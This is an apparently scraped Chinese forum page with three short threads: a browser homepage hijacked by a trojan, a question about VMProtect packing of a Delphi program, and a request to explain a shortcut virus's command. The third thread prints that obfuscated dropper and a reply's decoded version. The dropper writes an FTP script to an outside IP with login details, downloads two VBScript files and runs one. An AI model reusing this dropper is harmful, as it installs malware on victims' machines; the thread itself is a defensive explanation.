来源: 互联网  发布时间: 2014-02-18

IE 浏览器被强自修改
今天的我在学习,当我启用IE时发现被强自修改,表现为www.dosesp.com 然后转为什么www.114.com.cn ,刚开始不知道是怎么回事,我用360中网盾也锁定了,但也不好使,只好去找问题的所在,后来我发现我才知道 www.dosesp.com这个是木马,知道是木马杀毒软件查杀了,重新启动一下就好了,和大家一起分享一下,


呱唧一下，sofa

    

    来源: 互联网  发布时间: 2014-02-18

为什么VMProtect1.22加壳后,还是没有效果?
我看网上的例子,加壳记事本,用peid看后,显示"什么都没找到"

但是 原来加壳 我的delphi程序,,用peid看后 还是delphi, 跟源文件一样 没有加壳


为什么呢?


我都是加打开后定位的第一个地址


探讨

晕

我已经加了8个地址 都是 jnz,call ,有中文名称的地址 复制->添加地址

为什么编译后 还是没有效果呢? 还是没有加壳....

    

    来源: 互联网  发布时间: 2014-02-18

快捷方式病毒的一个小问题
下面的这段代码是从一个快捷方式病毒的属性 目标 里面提取出来的一段代码 
看了一顿貌似是连接一个ftp下载 c.vbe d.vbe 谁能再详细的讲解一下里面的代码 不是很清楚啊。

^>Z>C 是什么意思  

%coMSPEc% /c SET f=O 221.231.13&echO %A%%f%8.33^>Z>C&EcHo %a%tw520^>^>z>>C&EcHo %a%123123^>^>Z>>c&eChO %a%GeT c.vbe d.Vbe^>^>z>>c&eCHo %A%by^>^>Z>>C&SeT G=.co&EcHo %B%%S%s:Z>>c&ECho %o%rt d.vbe>>c&SeT S= -&sET B=ftp&SeT a=ECho &ReN c y.BAT&SEt O=sta&y



谢谢。




BatchFile code

set f=o 221.231.13
echo %a%%f%8.33^>z>c
echo %a%tw520^>^>z>>c
echo %a%123123^>^>z>>c
echo %a%get c.vbe d.vbe^>^>z>>c
echo %a%by^>^>z>>c
set g=.co
echo %b%%s%s:z>>c
echo %o%rt d.vbe>>c
set s= -
set b=ftp
set a=echo 
ren c y.bat
set o=sta
y


就不能自己动手弄下，大小写转换，&分行，获取echo生成的c，变量替换，有人就喜欢这样绕来绕去
%comspec% /c

set f=o 221.231.13
echo %a%%f%8.33^>z>c
echo %a%tw520^>^>z>>c
echo %a%123123^>^>z>>c
echo %a%get c.vbe d.vbe^>^>z>>c
echo %a%by^>^>z>>c
set g=.co
echo %b%%s%s:z>>c
echo %o%rt d.vbe>>c

set s=-
set b=ftp
set a=echo  
ren c y.bat
set o=sta
y

生成z文件，还就是ftp脚本
o 221.231.138.33
tw520
123123
get c.vbe d.vbe
by

调用z文件做事
ftp-s:z
start d.vbe

"^>Z>C 是什么意思"，这个用于echo输出，echo xxx >x，不是重定向到x了，如重定向内容中有>就得加转义符